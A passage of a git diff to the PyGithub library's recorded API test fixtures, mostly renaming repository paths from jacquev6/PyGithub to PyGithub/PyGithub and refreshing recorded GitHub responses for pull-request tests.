7d","commit_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350731,"node_id":"MDExOkNsb3NlZEV2ZW50MTYzNTA3MzE=","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16350731","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"closed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T10:29:07Z"},{"id":28469043,"node_id":"MDEzOkFzc2lnbmVkRXZlbnQyODQ2OTA0Mw==","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/28469043","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"assigned","commit_id":null,"commit_url":null,"created_at":"2012-11-03T08:19:40Z","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assigner":{"login":"ghost","id":10137,"node_id":"MDQ6VXNlcjEwMTM3","avatar_url":"https://avatars3.githubusercontent.com/u/10137?v=4","gravatar_id":"","url":"https://api.github.com/users/ghost","html_url":"https://github.com/ghost","followers_url":"https://api.github.com/users/ghost/followers","following_url":"https://api.github.com/users/ghost/following{/other_user}","gists_url":"https://api.github.com/users/ghost/gists{/gist_id}","starred_url":"https://api.github.com/users/ghost/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ghost/subscriptions","organizations_url":"https://api.github.com/users/ghost/orgs","repos_url":"https://api.github.com/users/ghost/repos","events_url":"https://api.github.com/users/ghost/events{/privacy}","received_events_url":"https://api.github.com/users/ghost/received_events","type":"User","site_admin":false}},{"id":98136335,"node_id":"MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM1","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/98136335","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"labeled","commit_id":null,"commit_url":null,"created_at":"2014-03-02T18:55:09Z","label":{"name":"v1","color":"5319e7"}}] - +[{"id":16349963,"node_id":"MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ5OTYz","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16349963","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"subscribed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T09:25:36Z"},{"id":16350729,"node_id":"MDE1OlJlZmVyZW5jZWRFdmVudDE2MzUwNzI5","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350729","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"referenced","commit_id":"688208b1a5a074871d0e9376119556897439697d","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350730,"node_id":"MDExOk1lcmdlZEV2ZW50MTYzNTA3MzA=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350730","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"merged","commit_id":"688208b1a5a074871d0e9376119556897439697d","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350731,"node_id":"MDExOkNsb3NlZEV2ZW50MTYzNTA3MzE=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350731","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"closed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T10:29:07Z"},{"id":28469043,"node_id":"MDEzOkFzc2lnbmVkRXZlbnQyODQ2OTA0Mw==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/28469043","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"assigned","commit_id":null,"commit_url":null,"created_at":"2012-11-03T08:19:40Z","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assigner":{"login":"ghost","id":10137,"node_id":"MDQ6VXNlcjEwMTM3","avatar_url":"https://avatars3.githubusercontent.com/u/10137?v=4","gravatar_id":"","url":"https://api.github.com/users/ghost","html_url":"https://github.com/ghost","followers_url":"https://api.github.com/users/ghost/followers","following_url":"https://api.github.com/users/ghost/following{/other_user}","gists_url":"https://api.github.com/users/ghost/gists{/gist_id}","starred_url":"https://api.github.com/users/ghost/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ghost/subscriptions","organizations_url":"https://api.github.com/users/ghost/orgs","repos_url":"https://api.github.com/users/ghost/repos","events_url":"https://api.github.com/users/ghost/events{/privacy}","received_events_url":"https://api.github.com/users/ghost/received_events","type":"User","site_admin":false}},{"id":98136335,"node_id":"MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM1","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136335","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"labeled","commit_id":null,"commit_url":null,"created_at":"2014-03-02T18:55:09Z","label":{"name":"v1","color":"5319e7"}}] diff --git a/tests/ReplayData/PullRequest.testGetLabels.txt b/tests/ReplayData/PullRequest.testGetLabels.txt index 1361f0b206..8ee48c3463 100644 --- a/tests/ReplayData/PullRequest.testGetLabels.txt +++ b/tests/ReplayData/PullRequest.testGetLabels.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '214'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] - +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] diff --git a/tests/ReplayData/PullRequest.testGetReviewComments.txt b/tests/ReplayData/PullRequest.testGetReviewComments.txt index 0a8a3921b0..6444de75d4 100644 --- a/tests/ReplayData/PullRequest.testGetReviewComments.txt +++ b/tests/ReplayData/PullRequest.testGetReviewComments.txt @@ -2,9 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/comments?since=1970-01-01T00%3A00%3A00Z +/repos/PyGithub/PyGithub/pulls/31/comments?sort=updated&direction=desc&since=1970-01-01T00%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"a120ecdfea5b9aa9b12d61e596663d10"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'B86E:30A2:A2F3D3D:CC9EB57:5C2EE8ED'), ('date', 'Fri, 04 Jan 2019 05:02:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1546581173')] -[{"original_position":4,"diff_hunk":"@@-39,6+39,15@@Getorganizationbyname\\n>>>org.login\\n'PyGithub'\\n\\n+Getresponseaspythondictionary","pull_request_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/238127783","created_at":"2018-12-03T01:52:16Z","author_association":"MEMBER","body":"```suggestion\\r\\nGetrawresponsepythondictionary\\r\\n```","updated_at":"2018-12-03T01:52:16Z","html_url":"https://github.com/jacquev6/PyGithub/pull/975#discussion_r238127783","pull_request_review_id":180593653,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/238127783"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#discussion_r238127783"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}},"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDIzODEyNzc4Mw==","commit_id":"be3977efe5fcc7affc3f1c1fc4b6b8add7465010","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"position":4,"path":"doc/examples/MainClass.rst","original_commit_id":"be3977efe5fcc7affc3f1c1fc4b6b8add7465010","id":238127783}] +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2d798fc8a4b3bdc86462c9e8e65753f25688b137c42e092cdc2d02ed94240f17"'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4957'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '43'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '83FE:276E:81B8DA:830FDC:64803F82')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357","pull_request_review_id":131593233,"id":197784357,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE5Nzc4NDM1Nw==","diff_hunk":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r","path":"test/IssueEvent.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","user":{"login":"eamanu","id":7605307,"node_id":"MDQ6VXNlcjc2MDUzMDc=","avatar_url":"https://avatars.githubusercontent.com/u/7605307?v=4","gravatar_id":"","url":"https://api.github.com/users/eamanu","html_url":"https://github.com/eamanu","followers_url":"https://api.github.com/users/eamanu/followers","following_url":"https://api.github.com/users/eamanu/following{/other_user}","gists_url":"https://api.github.com/users/eamanu/gists{/gist_id}","starred_url":"https://api.github.com/users/eamanu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eamanu/subscriptions","organizations_url":"https://api.github.com/users/eamanu/orgs","repos_url":"https://api.github.com/users/eamanu/repos","events_url":"https://api.github.com/users/eamanu/events{/privacy}","received_events_url":"https://api.github.com/users/eamanu/received_events","type":"User","site_admin":false},"body":"Test Case Dissmiss Review","created_at":"2018-06-25T12:54:34Z","updated_at":"2018-06-25T12:54:43Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":7,"original_line":7,"side":"RIGHT","original_position":6,"position":6,"subject_type":"line"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","pull_request_review_id":null,"id":1580134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Review comment created for PyGithub\n","created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":73,"original_line":null,"side":"RIGHT","original_position":5,"position":5,"subject_type":"line"}] diff --git a/tests/ReplayData/PullRequest.testMerge.txt b/tests/ReplayData/PullRequest.testMerge.txt index 488b720429..115938b4e1 100644 --- a/tests/ReplayData/PullRequest.testMerge.txt +++ b/tests/ReplayData/PullRequest.testMerge.txt @@ -2,7 +2,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/merge +/repos/PyGithub/PyGithub/pulls/31/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 @@ -13,7 +13,7 @@ https PUT api.github.com None -/repos/jacquev6/PyGithub/pulls/31/merge +/repos/PyGithub/PyGithub/pulls/31/merge {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 @@ -24,10 +24,8 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/merge +/repos/PyGithub/PyGithub/pulls/31/merge {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4951'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 10:29:08 GMT')] - - diff --git a/tests/ReplayData/PullRequest.testMergeWithCommitMessage.txt b/tests/ReplayData/PullRequest.testMergeWithCommitMessage.txt index 50cd9c3df6..de76c2a139 100644 --- a/tests/ReplayData/PullRequest.testMergeWithCommitMessage.txt +++ b/tests/ReplayData/PullRequest.testMergeWithCommitMessage.txt @@ -2,43 +2,20 @@ https GET api.github.com None -/user -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"529c3e7540840a3720cfe5a3d7b83fa4"'), ('date', 'Tue, 29 May 2012 18:07:52 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"total_private_repos":5,"type":"User","disk_usage":17092,"collaborators":0,"owned_private_repos":5,"url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_gists":3,"company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","public_repos":10,"email":"vincent@vincent-jacques.net","hireable":false,"private_gists":5,"followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","bio":"","id":327146,"following":24} - -https -GET -api.github.com -None -/repos/jacquev6/PyGithub -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"26bd79e0ccd81bb798c2959a498825c7"'), ('date', 'Tue, 29 May 2012 18:07:52 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:04:08Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":480,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:04:07Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"} - -https -GET -api.github.com -None -/repos/jacquev6/PyGithub/pulls/39 +/repos/PyGithub/PyGithub/pulls/39 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '4494'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"716935e701e066a56718d7a8b2f409f8"'), ('date', 'Tue, 29 May 2012 18:07:53 GMT'), ('content-type', 'application/json; charset=utf-8')] 